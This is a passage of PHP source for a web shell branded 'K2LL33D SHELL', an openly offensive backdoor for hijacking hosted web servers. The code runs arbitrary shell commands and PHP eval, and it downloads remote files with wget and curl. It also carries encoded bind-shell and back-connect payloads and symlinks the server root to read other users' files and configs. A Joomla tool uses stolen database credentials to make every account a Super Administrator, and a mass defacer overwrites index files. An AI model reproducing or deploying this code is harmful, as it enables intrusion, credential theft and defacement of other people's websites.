name=\"newname\" value=\"" . $folder . "\" /> \n<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> \n<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" />\n</form> </td><td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>\n<a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\">" . get_perms($pwd . $folder) . "</a>\n<form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($folder) . "_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> \n<input type=\"hidden\" name=\"name\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> \n<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "\" /> \n<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> \n<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" \nonclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" /></form></center></td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">rename</a>| <a href=\"?y={$pwd}&amp;fdelete=" . $pwd . $folder . "\">delete</a>\n</td>\n</tr>";
            }
        }
        foreach ($fname as $file) {
            $full = $pwd . $file;
            if (!$win && $posix) {
                $name = @posix_getpwuid(@fileowner($file));
                $group = @posix_getgrgid(@filegroup($file));
                $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?y={$pwd}&amp;view={$full}\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> {$file}</a> \n<form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> \n<input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /><input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" /><input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /><input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" />\n</form></td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>\n<a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\">" . get_perms($full) . "</a>\n<form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($file) . "_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> \n<input type=\"hidden\" name=\"name\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> \n<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($full)), -4) . "\" /> \n<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> \n<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\" /></form></center></td>\n<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td> \n<td><a href=\"?y={$pwd}&amp;edit={$full}\">edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a>| <a href=\"?y={$pwd}&amp;delete={$full}\">delete</a> | <a href=\"?y={$pwd}&amp;dl={$full}\">download</a>&nbsp;(<a href=\"?y={$pwd}&amp;dlgzip={$full}\">gz</a>)\n</td></tr>";
        }
        $buff .= "</table>";
        return $buff;
    }
    function ukuran($file)
    {
        if ($size = @filesize($file)) {
            if ($size <= 1024) {
                return $size;
            } else {
                if ($size <= 1048576) {
                    $size = @round($size / 1024, 2);
                    return "{$size} kb";
                } else {
                    $size = @round($size / 1024 / 1024, 2);
                    return "{$size} mb";
                }
            }
        } else {
            return "???";
        }
    }
    function exe($cmd)
    {
        if (function_exists('system')) {
            @ob_start();
            @system($cmd);
            $buff = @ob_get_contents();
            $buff = @ob_get_contents();
            @ob_end_clean();
            return $buff;
        } elseif (function_exists('exec')) {
            @exec($cmd, $results);
            $buff = "";
            foreach ($results as $result) {
                $buff .= $result;
            }
            return $buff;
        } elseif (function_exists('passthru')) {
            @ob_start();
            @passthru($cmd);
            $buff = @ob_get_contents();
            @ob_end_clean();
            return $buff;
        } elseif (function_exists('shell_exec')) {
            $buff = @shell_exec($cmd);
            return $buff;
        }
    }
    function tulis($file, $text)
    {
        $textz = gzinflate(base64_decode($text));
        if ($filez = @fopen($file, "w")) {
            @fputs($filez, $textz);
            @fclose($file);
        }
    }
    function ambil($link, $file)
    {
        if ($fp = @fopen($link, "r")) {
            while (!feof($fp)) {
                $cont .= @fread($fp, 1024);
            }
            @fclose($fp);
            $fp2 = @fopen($file, "w");
            @fwrite($fp2, $cont);
            @fclose($fp2);
        }
    }
    function which($pr)
    {
        $path = exe("which {$pr}");
        if (!empty($path)) {
            return trim($path);
        } else {
            return trim($pr);
        }
    }
    function download($cmd, $url)
    {
        $namafile = basename($url);
        switch ($cmd) {
            case 'wwget':
                exe(which('wget') . " " . $url . " -O " . $namafile);
                break;
            case 'wlynx':
                exe(which('lynx') . " -source " . $url . " > " . $namafile);
                break;
            case 'wfread':
                ambil($wurl, $namafile);
                break;
            case 'wfetch':
                exe(which('fetch') . " -o " . $namafile . " -p " . $url);
                break;
            case 'wlinks':
                exe(which('links') . " -source " . $url . " > " . $namafile);
                break;
            case 'wget':
                exe(which('GET') . " " . $url . " > " . $namafile);
                break;
            case 'wcurl':
                exe(which('curl') . " " . $url . " -o " . $namafile);
                break;
            default:
                break;
        }
        return $namafile;
    }
    function get_perms($file)
    {
        if ($mode = @fileperms($file)) {
            $perms = '';
            $perms .= $mode & 0400 ? 'r' : '-';
            $perms .= $mode & 0200 ? 'w' : '-';
            $perms .= $mode & 0100 ? 'x' : '-';
            $perms .= $mode & 040 ? 'r' : '-';
            $perms .= $mode & 020 ? 'w' : '-';
            $perms .= $mode & 010 ? 'x' : '-';
            $perms .= $mode & 04 ? 'r' : '-';
            $perms .= $mode & 02 ? 'w' : '-';
            $perms .= $mode & 01 ? 'x' : '-';
            return $perms;
        } else {
            return "??????????";
        }
    }
    function clearspace($text)
    {
        return str_replace(" ", "_", $text);
    }
    $port_bind_bd_c = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
    $port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
    $back_connect = "fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
    $back_connect_c = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
    ?>
<html><head><title>k2ll33d</title><link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'>
<script type="text/javascript">
function tukar(lama,baru){document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';}
</script>
<style>.title{font-weight:bold;letter-spacing:1px;font-family: "orbitron";color: #00ff00;font-size:20px;text-shadow: 5px 5px 5px black;}input[type=text]{-moz-box-shadow:0 0 1px black;-webkit-box-shadow:0 0 1px black;height:18px;margin-left: 5px;}input:focus, textarea:focus ,button:active{box-shadow: 0 0 5px #4C83AF;-webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);-moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);background:#222222;overflow: auto;}#menu{font-family:orbitron;background: #111111;margin:5px 2px 4px 2px;}div #menu li:hover {cursor:pointer;}div#menu li:hover>ul a:hover{width:118;background:red;}div#menu ul {margin:0;padding:0;float:left;-moz-border-radius: 6px; border-radius: 12px; border:1px solid #555555;}div#menu li {position:relative;display:block;float:left;}div#menu li:hover>ul {left:0px;border-left:1px solid white;}div#menu a{display:block;float:left;font-family:orbitron;padding:4px 6px;margin:0;text-decoration:none;letter-spacing:1px;color:white;}div#menu a:hover{background:rgba(160, 82, 45,0.3);font-family:orbitron;border-bottom:0px;}div#menu ul ul {position:absolute;top:18px;left:-990em;width:130px;padding:5px 0 5px 0;background:black;margin-top:2px;}div#menu ul ul a {padding:2px 2px 2px 10px;height:20px;float:none;display:block;color:white;}.k2ll33d2 {text-align: center;letter-spacing:1px;font-family: "orbitron";color: #00ff00;font-size:25px;text-shadow: 5px 5px 5px black;} .mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #EC4D00; padding:4px 2px;width:70%;line-height:24px;background:#111111;box-shadow: 0px 4px 2px white;-webkit-box-shadow: 0px 4px 2px #ffffff;-moz-box-shadow: 0px 4px 2px #ffffff;}.myboxtbl{ width:50%; }body{background:#010101;} a {text-decoration:none;} hr, a:hover{border-bottom:1px solid #4C83AF;} *{text-shadow: 0pt 0pt 0.3em rgb(153, 153, 153);font-size:11px;font-family:Tahoma,Verdana,Arial;color:#FFFFFF;} .tabnet{margin:15px auto 0 auto;border: 1px solid #333333;} .main {width:100%;} .gaya {color: #888888;} .top{border-left:1px solid #4C83AF;border-RIGHT:1px solid #4C83AF;font-family:verdana;} .inputz, option{outline:none;transition: all 0.20s ease-in-out;-webkit-transition: all 0.20s ease-in-out;-moz-transition: all 0.20s ease-in-out;border:1px solid rgba(0,0,0, 0.2);background:#111111; border:0; padding:2px; border-bottom:1px solid #393939; font-size:11px; color:#ffffff; -moz-border-radius: 6px; border-radius: 12px; border:1px solid #4C83AF;margin:4px 0 8px 0;} .inputzbut{background:#111111;color:#8f8f8f;margin:0 4px;border:1px solid #555555;}  .inputzbut:hover{background:#222222;border-left:1px solid #4C83AF;border-right:1px solid #4C83AF;border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.inputz:hover{ -moz-border-radius: 6px; border-radius: 10px; border:1px solid #4C83AF;margin:4px 0 8px 0;border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.output2 {margin:auto;border:1px solid #888888;background:#000000;padding:0 2px;} textarea{margin:auto;border:2px solid #555555;background:#000000;padding:0 2px;} .output {margin:auto;border:1px solid #303030;width:100%;height:400px;background:#000000;padding:0 2px;} .cmdbox{width:100%;}.head_info{padding: 0 4px;} .b1{font-size:30px;padding:0;color:#555555;} .b2{font-size:30px;padding:0;color:#800000;} .b_tbl{text-align:center;margin:0 4px 0 0;padding:0 4px 0 0;border-right:1px solid #333333;} .phpinfo table{width:100%;padding:0 0 0 0;} .phpinfo td{background:#111111;color:#cccccc;padding:6px 8px;;} .phpinfo th, th{background:#191919;border-bottom:1px solid #333333;font-weight:normal;} .phpinfo h2, .phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222222;padding:4px 0;} .explore{width:100%;} .explore a {text-decoration:none;} .explore td{border-bottom:1px solid #454545;padding:0 8px;line-height:24px;} .explore th{padding:3px 8px;font-weight:normal;color:#999999;} .explore th:hover , .phpinfo th:hover, th:hover{color:black;background:#00ff00;} .explore tr:hover{background:rgba(35,96,156,0.2);} .viewfile{background:#EDECEB;color:#000000;margin:4px 2px;padding:8px;} .sembunyi{display:none;padding:0;margin:0;} k, k a, k a:hover{text-shadow: 0pt 0pt 0.3em red;font-family:orbitron;font-size:25px;color:#ffffff;}</style><body onLoad="document.getElementById('cmd').focus();"><div class="main"><div class="head_info"> <table width="100%"><tr><td width="23%"><table class="b_tbl">
<?php 
    echo "<H2 CLASS=\"TITLE\">K2LL33D SHELL</H2>  ";
    ?><div id="menu"><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=about">About Me</a></div>
</td></tr></table></td><td class="top" width='60%'><?php 
    echo $buff;
    ?></td>&nbsp;&nbsp;<td style="width:20%;"><a>server ip : <?php 
    echo $server_ip . "<br><br> your ip : " . $my_ip . "<br></a>";
    ?><br><a href="?" style="border:1px solid #EC4D00;font:12px orbitron;width:200px;padding:0px 20px 0px 20px;">H O M E</a></td></tr></table></div>
<div id="menu"><ul class="menu"><a href="?<?php 
    echo "y=" . $pwd;
    ?>">Files</a><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=shell">Shell</a><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=upload">upload</a><li><a>Sym</a><ul><li><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=sf">Symlink File</a></li><li><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=sec">Symlink server</a></li><li><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=configs">Get configs</a></li></ul></li><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=php">Eval</a><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=back">Remote</a><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=mysql">Sql</a><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=mass">Mass</a><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=brute">Brute</a><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=phpinfo">PHP</a><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=zone-h">Zone-H</a><li><a>Joomla</a><ul><li><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=joomla">From keyboard</a></li><li><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=js">From symlink</a></li></ul></li><li><a>Wordpress</a><ul><li><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=keyboard">From Keyboard</a></li><li><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=config">From Symlink</a></li></ul></li><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=vb">Vb</a><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=domains">Domains</a><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=string">String</a><a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=boom">Boom</a>&nbsp;&nbsp;</ul></div><br><br>
<?php 
    if (isset($_GET['x']) && $_GET['x'] == 'php') {
        ?><form action="?y=<?php 
        echo $pwd;
        ?>&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90> 
<?php 
        if (isset($_POST['submitcmd'])) {
            echo eval(magicboom($_POST['cmd']));
        } else {
            echo "echo file_get_contents('/etc/passwd');";
        }
        ?></textarea></td></tr><tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Do !" name="submitcmd" /></td></tr></form></table></form> <?php 
    } elseif (isset($_GET['x']) && $_GET['x'] == 'about') {
        echo '<center><br><br><div class="mybox"><br><h2 style="font-size:50px;" class="k2ll33d2">K2ll33d Shell</h2><k>By K2ll33d<br><br><br><a href=mailto:k2ll33d@live.fr>Mail</a>&nbsp;|&nbsp;<a href="http://facebook.com/k2ll33d" target="_blank">Facebook</a>&nbsp;|&nbsp;<a href="http://zone-h.org/archive/notifier=ReZK2LL" target="_blank">Zone-H</a></k><br><br><h3 style="font:25px orbitron;color:#ff0000;">' . date('Y') . '</h3></div></center>';
    } elseif (isset($_GET['x']) && $_GET['x'] == 'sf') {
        @set_time_limit(0);
        @mkdir('sym', 0777);
        error_reporting(0);
        $htaccess = "Options all \n DirectoryIndex gaza.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
        $op = @fopen('sym/.htaccess', 'w');
        fwrite($op, $htaccess);
        echo "<center><br><br><br><div class=\"mybox\"><h2 class=\"k2ll33d2\">Symlinker</h2><br><form method=\"post\"> File Path:<br><input class=\"inputz\" type=\"text\" name=\"file\" value=\"/home/user/public_html/config.php\" size=\"60\"/><br>Symlink Name<br><input class=\"inputz\" type=\"text\" name=\"symfile\" value=\"s.txt\" size=\"60\"/><br><br><input class=\"inputzbut\" type=\"submit\" value=\"symlink\" name=\"symlink\" /><br><br></form></div></center>";
        $target = $_POST['file'];
        $symfile = $_POST['symfile'];
        $symlink = $_POST['symlink'];
        if ($symlink) {
            @symlink("{$target}", "sym/{$symfile}");
            echo '<br><center><a target="_blank" href="sym/' . $symfile . '" >' . $symfile . '</a><br><br><br><br></center>';
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'js') {
        if ($_POST['symjo']) {
            $config = file_get_contents($_POST['url']);
            $user = $_POST['user'];
            $pass = md5($_POST['pass']);
            function ex($text, $a, $b)
            {
                $explode = explode($a, $text);
                $explode = explode($b, $explode[1]);
                return $explode[0];
            }
            if ($config && ereg('JConfig', $config)) {
                $psswd = ex($config, '$password = \'', "';");
                $username = ex($config, '$user = \'', "';");
                $dbname = ex($config, '$db = \'', "';");
                $prefix = ex($config, '$dbprefix = \'', "';");
                $host = ex($config, '$host = \'', "';");
                $email = ex($config, '$mailfrom = \'', "';");
                $formn = ex($config, '$fromname = \'', "';");
                $conn = mysql_connect($host, $username, $psswd) or die(mysql_error());
                mysql_select_db($dbname, $conn) or die($username . ' ' . $psswd . ' ' . $host . ' ' . $dbname);
                $query = @mysql_query("UPDATE `" . $prefix . "users` SET `username` ='" . $user . "' , `password` = '" . $pass . "', `usertype` = 'Super Administrator', `block` = 0");
                if ($query) {
                    echo '<center><h2 class="k2ll33d2">Done !</h2></center><br><table width="100%"><tr><th width="30%">site name</th><th width="20%">user</th><th width="20%">password</th><th width="20%">email</th></tr><tr><td width="20%"><font size="2" color="red">' . $formn . '</font></td><td width="20%">' . $user . '</td><td with="20%">' . $_POST["pass"] . '</td><td width="20%">' . $email . '</td></tr></table>';
                } else {
                    echo "<h2 class=\"k2ll33d2\"><font color=\"#ff0000\">ERROR !</font></h2>";
                }
            } else {
                die('<h2 class="k2ll33d2"><font color="red">Not a joomla config</font></h2>');
            }
        } else {
            ?> <center><br><br><div class="mybox"><form method="post"><table><h2 class="k2ll33d2">Joomla login changer ( symlink version )</h2><tr><td>config link : </td><td><input class="inputz" type="text" name="url" value=""></td></tr><tr><td>new user : </td><td><input class="inputz" type="text" name="user" value="admin"></td></tr><tr><td>new password : </td><td><input class="inputz" type="text" name="pass" value="123123"></td></tr><tr><td><br></td></tr><tr><td><input type="submit" class="inputzbut" name="symjo" value="change"></td><br></tr></table></form></div></center><?php 
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'sec') {
        $d0mains = @file("/etc/named.conf");
        if ($d0mains) {
            @mkdir("k2", 0777);
            @chdir("k2");
            @exe("ln -s / root");
            $file3 = 'Options all
DirectoryIndex Sux.html
AddType text/plain .php 
AddHandler server-parsed .php 
AddType text/plain .html 
AddHandler txt .html 
Require None 
Satisfy Any';
            $fp3 = fopen('.htaccess', 'w');
            $fw3 = fwrite($fp3, $file3);
            @fclose($fp3);
            echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr><td align=center><font size=3>S. No.</font></td><td align=center><font size=3>Domains</font></td><td align=center><font size=3>Users</font></td><td align=center><font size=3>Symlink</font></td></tr>";
            $dcount = 1;
            foreach ($d0mains as $d0main) {
                if (eregi("zone", $d0main)) {
                    preg_match_all('#zone "(.*)"#', $d0main, $domains);
                    flush();
                    if (strlen(trim($domains[1][0])) > 2) {
                        $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
                        echo "<tr align=center><td><font size=3>" . $dcount . "</font></td><td align=left><a href=http://www." . $domains[1][0] . "/><font class=txt>" . $domains[1][0] . "</font></a></td><td>" . $user['name'] . "</td><td><a href='/k2/root/home/" . $user['name'] . "/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
                        flush();
                        $dcount++;
                    }
                }
            }
            echo "</table>";
        } else {
            $TEST = @file('/etc/passwd');
            if ($TEST) {
                @mkdir("k2", 0777);
                @chdir("k2");
                exe("ln -s / root");
                $file3 = 'Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any';
                $fp3 = fopen('.htaccess', 'w');
                $fw3 = fwrite($fp3, $file3);
                @fclose($fp3);
                echo "<br><br><table align=center border=1><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
                $dcount = 1;
                $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
                while (!feof($file)) {
                    $s = fgets($file);
                    $matches = array();
                    $t = preg_match('/\\/(.*?)\\:\\//s', $s, $matches);
                    $matches = str_replace("home/", "", $matches[1]);
                    if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") {
                        continue;
                    }
                    echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
                    echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
                    $dcount++;
                }
                fclose($file);
                echo "</table>";
            } else {
                if ($os != "Windows") {
                    @mkdir("k2", 0777);
                    @chdir("k2");
                    @exe("ln -s / root");
                    $file3 = 'Options all 
 DirectoryIndex Sux.html
 AddType text/plain .php
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any';
                    $fp3 = fopen('.htaccess', 'w');
                    $fw3 = fwrite($fp3, $file3);
                    @fclose($fp3);
                    echo "<br><br><center><div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2><table align=center border=1><tr><td align=center><font size=4>id</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
                    $temp = "";
                    $val1 = 0;
                    $val2 = 1000;
                    for (; $val1 <= $val2; $val1++) {
                        $uid = @posix_getpwuid($val1);
                        if ($uid) {
                            $temp .= join(':', $uid) . "\n";
                        }
                    }
                    echo "<br/>";
                    $temp = trim($temp);
                    $file5 = fopen("test.txt", "w");
                    fputs($file5, $temp);
                    fclose($file5);
                    $dcount = 1;
                    $file = fopen("test.txt", "r") or exit("Unable to open file!");
                    while (!feof($file)) {
                        $s = fgets($file);
                        $matches = array();
                        $t = preg_match('/\\/(.*?)\\:\\//s', $s, $matches);
                        $matches = str_replace("home/", "", $matches[1]);
                        if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") {
                            continue;
                        }
                        echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
                        echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
                        $dcount++;
                    }
                    fclose($file);
                    echo "</table></div></center>";
                    unlink("test.txt");
                } else {
                    echo "<center><font size=4>Cannot create Symlink</font></center>";
                }
            }
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'mass') {
        error_reporting(0);
        ?><center><br><br><div class="mybox"><h2 class="k2ll33d2">Folder Mass Defacer</h2><center/><br><center><form ENCTYPE="multipart/form-data" action="<?php 
        $_SERVER['PHP_SELF'];
        ?>" method=post>Folder :<br/><input class="inputz" typ=text name=path size=60 value="<?php 
        echo getcwd();
        ?>"><br>File Name :<br/><input class="inputz" typ=text name=file size=60 value="index.php"><br>index URL :<br/><input class="inputz" typ=text name=url size=60 value=""><br><input class="inputzbut" type=submit value=Deface></form></div></center><?php 
        @error_reporting(0);
        $mainpath = $_POST[path];
        $file = $_POST[file];
        $indexurl = $_POST[url];
        echo "<br>";
        $dir = opendir("{$mainpath}");
        while ($row = readdir($dir)) {
            $start = @fopen("{$row}/{$file}", "w+");
            $code = @file_get_contents($indexurl);
            $finish = @fwrite($start, $code);
            if ($finish) {
